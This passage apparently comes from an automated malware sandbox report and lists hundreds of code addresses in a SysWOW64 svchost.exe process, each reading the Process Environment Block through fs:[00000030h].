Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356C720 mov eax, dword ptr fs:[00000030h]		2_2_0356C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353C7C0 mov eax, dword ptr fs:[00000030h]		2_2_0353C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B07C3 mov eax, dword ptr fs:[00000030h]		2_2_035B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035347FB mov eax, dword ptr fs:[00000030h]		2_2_035347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035347FB mov eax, dword ptr fs:[00000030h]		2_2_035347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035527ED mov eax, dword ptr fs:[00000030h]		2_2_035527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035527ED mov eax, dword ptr fs:[00000030h]		2_2_035527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035527ED mov eax, dword ptr fs:[00000030h]		2_2_035527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035BE7E1 mov eax, dword ptr fs:[00000030h]		2_2_035BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D678E mov eax, dword ptr fs:[00000030h]		2_2_035D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035307AF mov eax, dword ptr fs:[00000030h]		2_2_035307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E47A0 mov eax, dword ptr fs:[00000030h]		2_2_035E47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354C640 mov eax, dword ptr fs:[00000030h]		2_2_0354C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03562674 mov eax, dword ptr fs:[00000030h]		2_2_03562674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035F866E mov eax, dword ptr fs:[00000030h]		2_2_035F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035F866E mov eax, dword ptr fs:[00000030h]		2_2_035F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356A660 mov eax, dword ptr fs:[00000030h]		2_2_0356A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356A660 mov eax, dword ptr fs:[00000030h]		2_2_0356A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572619 mov eax, dword ptr fs:[00000030h]		2_2_03572619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AE609 mov eax, dword ptr fs:[00000030h]		2_2_035AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354260B mov eax, dword ptr fs:[00000030h]		2_2_0354260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354260B mov eax, dword ptr fs:[00000030h]		2_2_0354260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354260B mov eax, dword ptr fs:[00000030h]		2_2_0354260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354260B mov eax, dword ptr fs:[00000030h]		2_2_0354260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354260B mov eax, dword ptr fs:[00000030h]		2_2_0354260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354260B mov eax, dword ptr fs:[00000030h]		2_2_0354260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354260B mov eax, dword ptr fs:[00000030h]		2_2_0354260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354E627 mov eax, dword ptr fs:[00000030h]		2_2_0354E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03566620 mov eax, dword ptr fs:[00000030h]		2_2_03566620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03568620 mov eax, dword ptr fs:[00000030h]		2_2_03568620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353262C mov eax, dword ptr fs:[00000030h]		2_2_0353262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356A6C7 mov ebx, dword ptr fs:[00000030h]		2_2_0356A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356A6C7 mov eax, dword ptr fs:[00000030h]		2_2_0356A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AE6F2 mov eax, dword ptr fs:[00000030h]		2_2_035AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AE6F2 mov eax, dword ptr fs:[00000030h]		2_2_035AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AE6F2 mov eax, dword ptr fs:[00000030h]		2_2_035AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AE6F2 mov eax, dword ptr fs:[00000030h]		2_2_035AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B06F1 mov eax, dword ptr fs:[00000030h]		2_2_035B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B06F1 mov eax, dword ptr fs:[00000030h]		2_2_035B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03534690 mov eax, dword ptr fs:[00000030h]		2_2_03534690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03534690 mov eax, dword ptr fs:[00000030h]		2_2_03534690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035666B0 mov eax, dword ptr fs:[00000030h]		2_2_035666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356C6A6 mov eax, dword ptr fs:[00000030h]		2_2_0356C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03538550 mov eax, dword ptr fs:[00000030h]		2_2_03538550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03538550 mov eax, dword ptr fs:[00000030h]		2_2_03538550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356656A mov eax, dword ptr fs:[00000030h]		2_2_0356656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356656A mov eax, dword ptr fs:[00000030h]		2_2_0356656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356656A mov eax, dword ptr fs:[00000030h]		2_2_0356656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C6500 mov eax, dword ptr fs:[00000030h]		2_2_035C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03604500 mov eax, dword ptr fs:[00000030h]		2_2_03604500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03604500 mov eax, dword ptr fs:[00000030h]		2_2_03604500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03604500 mov eax, dword ptr fs:[00000030h]		2_2_03604500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03604500 mov eax, dword ptr fs:[00000030h]		2_2_03604500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03604500 mov eax, dword ptr fs:[00000030h]		2_2_03604500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03604500 mov eax, dword ptr fs:[00000030h]		2_2_03604500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03604500 mov eax, dword ptr fs:[00000030h]		2_2_03604500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540535 mov eax, dword ptr fs:[00000030h]		2_2_03540535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540535 mov eax, dword ptr fs:[00000030h]		2_2_03540535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540535 mov eax, dword ptr fs:[00000030h]		2_2_03540535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540535 mov eax, dword ptr fs:[00000030h]		2_2_03540535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540535 mov eax, dword ptr fs:[00000030h]		2_2_03540535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540535 mov eax, dword ptr fs:[00000030h]		2_2_03540535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355E53E mov eax, dword ptr fs:[00000030h]		2_2_0355E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355E53E mov eax, dword ptr fs:[00000030h]		2_2_0355E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355E53E mov eax, dword ptr fs:[00000030h]		2_2_0355E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355E53E mov eax, dword ptr fs:[00000030h]		2_2_0355E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355E53E mov eax, dword ptr fs:[00000030h]		2_2_0355E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035365D0 mov eax, dword ptr fs:[00000030h]		2_2_035365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356A5D0 mov eax, dword ptr fs:[00000030h]		2_2_0356A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356A5D0 mov eax, dword ptr fs:[00000030h]		2_2_0356A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356E5CF mov eax, dword ptr fs:[00000030h]		2_2_0356E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356E5CF mov eax, dword ptr fs:[00000030h]		2_2_0356E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355E5E7 mov eax, dword ptr fs:[00000030h]		2_2_0355E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355E5E7 mov eax, dword ptr fs:[00000030h]		2_2_0355E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355E5E7 mov eax, dword ptr fs:[00000030h]		2_2_0355E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355E5E7 mov eax, dword ptr fs:[00000030h]		2_2_0355E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355E5E7 mov eax, dword ptr fs:[00000030h]		2_2_0355E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355E5E7 mov eax, dword ptr fs:[00000030h]		2_2_0355E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355E5E7 mov eax, dword ptr fs:[00000030h]		2_2_0355E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355E5E7 mov eax, dword ptr fs:[00000030h]		2_2_0355E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035325E0 mov eax, dword ptr fs:[00000030h]		2_2_035325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356C5ED mov eax, dword ptr fs:[00000030h]		2_2_0356C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356C5ED mov eax, dword ptr fs:[00000030h]		2_2_0356C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356E59C mov eax, dword ptr fs:[00000030h]		2_2_0356E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03532582 mov eax, dword ptr fs:[00000030h]		2_2_03532582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03532582 mov ecx, dword ptr fs:[00000030h]		2_2_03532582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03564588 mov eax, dword ptr fs:[00000030h]		2_2_03564588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035545B1 mov eax, dword ptr fs:[00000030h]		2_2_035545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035545B1 mov eax, dword ptr fs:[00000030h]		2_2_035545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B05A7 mov eax, dword ptr fs:[00000030h]		2_2_035B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B05A7 mov eax, dword ptr fs:[00000030h]		2_2_035B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B05A7 mov eax, dword ptr fs:[00000030h]		2_2_035B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035EA456 mov eax, dword ptr fs:[00000030h]		2_2_035EA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352645D mov eax, dword ptr fs:[00000030h]		2_2_0352645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355245A mov eax, dword ptr fs:[00000030h]		2_2_0355245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356E443 mov eax, dword ptr fs:[00000030h]		2_2_0356E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356E443 mov eax, dword ptr fs:[00000030h]		2_2_0356E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356E443 mov eax, dword ptr fs:[00000030h]		2_2_0356E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356E443 mov eax, dword ptr fs:[00000030h]		2_2_0356E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356E443 mov eax, dword ptr fs:[00000030h]		2_2_0356E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356E443 mov eax, dword ptr fs:[00000030h]		2_2_0356E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356E443 mov eax, dword ptr fs:[00000030h]		2_2_0356E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356E443 mov eax, dword ptr fs:[00000030h]		2_2_0356E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355A470 mov eax, dword ptr fs:[00000030h]		2_2_0355A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355A470 mov eax, dword ptr fs:[00000030h]		2_2_0355A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355A470 mov eax, dword ptr fs:[00000030h]		2_2_0355A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035BC460 mov ecx, dword ptr fs:[00000030h]		2_2_035BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03568402 mov eax, dword ptr fs:[00000030h]		2_2_03568402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03568402 mov eax, dword ptr fs:[00000030h]		2_2_03568402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03568402 mov eax, dword ptr fs:[00000030h]		2_2_03568402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356A430 mov eax, dword ptr fs:[00000030h]		2_2_0356A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352E420 mov eax, dword ptr fs:[00000030h]		2_2_0352E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352E420 mov eax, dword ptr fs:[00000030h]		2_2_0352E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352E420 mov eax, dword ptr fs:[00000030h]		2_2_0352E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352C427 mov eax, dword ptr fs:[00000030h]		2_2_0352C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B6420 mov eax, dword ptr fs:[00000030h]		2_2_035B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B6420 mov eax, dword ptr fs:[00000030h]		2_2_035B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B6420 mov eax, dword ptr fs:[00000030h]		2_2_035B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B6420 mov eax, dword ptr fs:[00000030h]		2_2_035B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B6420 mov eax, dword ptr fs:[00000030h]		2_2_035B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B6420 mov eax, dword ptr fs:[00000030h]		2_2_035B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B6420 mov eax, dword ptr fs:[00000030h]		2_2_035B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035304E5 mov ecx, dword ptr fs:[00000030h]		2_2_035304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035EA49A mov eax, dword ptr fs:[00000030h]		2_2_035EA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035644B0 mov ecx, dword ptr fs:[00000030h]		2_2_035644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035BA4B0 mov eax, dword ptr fs:[00000030h]		2_2_035BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035364AB mov eax, dword ptr fs:[00000030h]		2_2_035364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03528B50 mov eax, dword ptr fs:[00000030h]		2_2_03528B50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DEB50 mov eax, dword ptr fs:[00000030h]		2_2_035DEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E4B4B mov eax, dword ptr fs:[00000030h]		2_2_035E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E4B4B mov eax, dword ptr fs:[00000030h]		2_2_035E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C6B40 mov eax, dword ptr fs:[00000030h]		2_2_035C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C6B40 mov eax, dword ptr fs:[00000030h]		2_2_035C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035FAB40 mov eax, dword ptr fs:[00000030h]		2_2_035FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D8B42 mov eax, dword ptr fs:[00000030h]		2_2_035D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352CB7E mov eax, dword ptr fs:[00000030h]		2_2_0352CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03602B57 mov eax, dword ptr fs:[00000030h]		2_2_03602B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03602B57 mov eax, dword ptr fs:[00000030h]		2_2_03602B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03602B57 mov eax, dword ptr fs:[00000030h]		2_2_03602B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03602B57 mov eax, dword ptr fs:[00000030h]		2_2_03602B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AEB1D mov eax, dword ptr fs:[00000030h]		2_2_035AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AEB1D mov eax, dword ptr fs:[00000030h]		2_2_035AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AEB1D mov eax, dword ptr fs:[00000030h]		2_2_035AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AEB1D mov eax, dword ptr fs:[00000030h]		2_2_035AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AEB1D mov eax, dword ptr fs:[00000030h]		2_2_035AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AEB1D mov eax, dword ptr fs:[00000030h]		2_2_035AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AEB1D mov eax, dword ptr fs:[00000030h]		2_2_035AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AEB1D mov eax, dword ptr fs:[00000030h]		2_2_035AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AEB1D mov eax, dword ptr fs:[00000030h]		2_2_035AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03604B00 mov eax, dword ptr fs:[00000030h]		2_2_03604B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355EB20 mov eax, dword ptr fs:[00000030h]		2_2_0355EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355EB20 mov eax, dword ptr fs:[00000030h]		2_2_0355EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035F8B28 mov eax, dword ptr fs:[00000030h]		2_2_035F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035F8B28 mov eax, dword ptr fs:[00000030h]		2_2_035F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DEBD0 mov eax, dword ptr fs:[00000030h]		2_2_035DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03550BCB mov eax, dword ptr fs:[00000030h]		2_2_03550BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03550BCB mov eax, dword ptr fs:[00000030h]		2_2_03550BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03550BCB mov eax, dword ptr fs:[00000030h]		2_2_03550BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03530BCD mov eax, dword ptr fs:[00000030h]		2_2_03530BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03530BCD mov eax, dword ptr fs:[00000030h]		2_2_03530BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03530BCD mov eax, dword ptr fs:[00000030h]		2_2_03530BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03538BF0 mov eax, dword ptr fs:[00000030h]		2_2_03538BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03538BF0 mov eax, dword ptr fs:[00000030h]		2_2_03538BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03538BF0 mov eax, dword ptr fs:[00000030h]		2_2_03538BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355EBFC mov eax, dword ptr fs:[00000030h]		2_2_0355EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035BCBF0 mov eax, dword ptr fs:[00000030h]		2_2_035BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540BBE mov eax, dword ptr fs:[00000030h]		2_2_03540BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540BBE mov eax, dword ptr fs:[00000030h]		2_2_03540BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E4BB0 mov eax, dword ptr fs:[00000030h]		2_2_035E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E4BB0 mov eax, dword ptr fs:[00000030h]		2_2_035E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03536A50 mov eax, dword ptr fs:[00000030h]		2_2_03536A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03536A50 mov eax, dword ptr fs:[00000030h]		2_2_03536A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03536A50 mov eax, dword ptr fs:[00000030h]		2_2_03536A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03536A50 mov eax, dword ptr fs:[00000030h]		2_2_03536A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03536A50 mov eax, dword ptr fs:[00000030h]		2_2_03536A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03536A50 mov eax, dword ptr fs:[00000030h]		2_2_03536A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03536A50 mov eax, dword ptr fs:[00000030h]		2_2_03536A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540A5B mov eax, dword ptr fs:[00000030h]		2_2_03540A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540A5B mov eax, dword ptr fs:[00000030h]		2_2_03540A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035ACA72 mov eax, dword ptr fs:[00000030h]		2_2_035ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035ACA72 mov eax, dword ptr fs:[00000030h]		2_2_035ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356CA6F mov eax, dword ptr fs:[00000030h]		2_2_0356CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356CA6F mov eax, dword ptr fs:[00000030h]		2_2_0356CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356CA6F mov eax, dword ptr fs:[00000030h]		2_2_0356CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DEA60 mov eax, dword ptr fs:[00000030h]		2_2_035DEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035BCA11 mov eax, dword ptr fs:[00000030h]		2_2_035BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03554A35 mov eax, dword ptr fs:[00000030h]		2_2_03554A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03554A35 mov eax, dword ptr fs:[00000030h]		2_2_03554A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356CA38 mov eax, dword ptr fs:[00000030h]		2_2_0356CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356CA24 mov eax, dword ptr fs:[00000030h]		2_2_0356CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355EA2E mov eax, dword ptr fs:[00000030h]		2_2_0355EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03530AD0 mov eax, dword ptr fs:[00000030h]		2_2_03530AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03564AD0 mov eax, dword ptr fs:[00000030h]		2_2_03564AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03564AD0 mov eax, dword ptr fs:[00000030h]		2_2_03564AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03586ACC mov eax, dword ptr fs:[00000030h]		2_2_03586ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03586ACC mov eax, dword ptr fs:[00000030h]		2_2_03586ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03586ACC mov eax, dword ptr fs:[00000030h]		2_2_03586ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356AAEE mov eax, dword ptr fs:[00000030h]		2_2_0356AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356AAEE mov eax, dword ptr fs:[00000030h]		2_2_0356AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03568A90 mov edx, dword ptr fs:[00000030h]		2_2_03568A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353EA80 mov eax, dword ptr fs:[00000030h]		2_2_0353EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353EA80 mov eax, dword ptr fs:[00000030h]		2_2_0353EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353EA80 mov eax, dword ptr fs:[00000030h]		2_2_0353EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353EA80 mov eax, dword ptr fs:[00000030h]		2_2_0353EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353EA80 mov eax, dword ptr fs:[00000030h]		2_2_0353EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353EA80 mov eax, dword ptr fs:[00000030h]		2_2_0353EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353EA80 mov eax, dword ptr fs:[00000030h]		2_2_0353EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353EA80 mov eax, dword ptr fs:[00000030h]		2_2_0353EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353EA80 mov eax, dword ptr fs:[00000030h]		2_2_0353EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03604A80 mov eax, dword ptr fs:[00000030h]		2_2_03604A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03538AA0 mov eax, dword ptr fs:[00000030h]		2_2_03538AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03538AA0 mov eax, dword ptr fs:[00000030h]		2_2_03538AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03586AA4 mov eax, dword ptr fs:[00000030h]		2_2_03586AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B0946 mov eax, dword ptr fs:[00000030h]		2_2_035B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03604940 mov eax, dword ptr fs:[00000030h]		2_2_03604940
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D4978 mov eax, dword ptr fs:[00000030h]		2_2_035D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D4978 mov eax, dword ptr fs:[00000030h]		2_2_035D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035BC97C mov eax, dword ptr fs:[00000030h]		2_2_035BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03556962 mov eax, dword ptr fs:[00000030h]		2_2_03556962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03556962 mov eax, dword ptr fs:[00000030h]		2_2_03556962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03556962 mov eax, dword ptr fs:[00000030h]		2_2_03556962
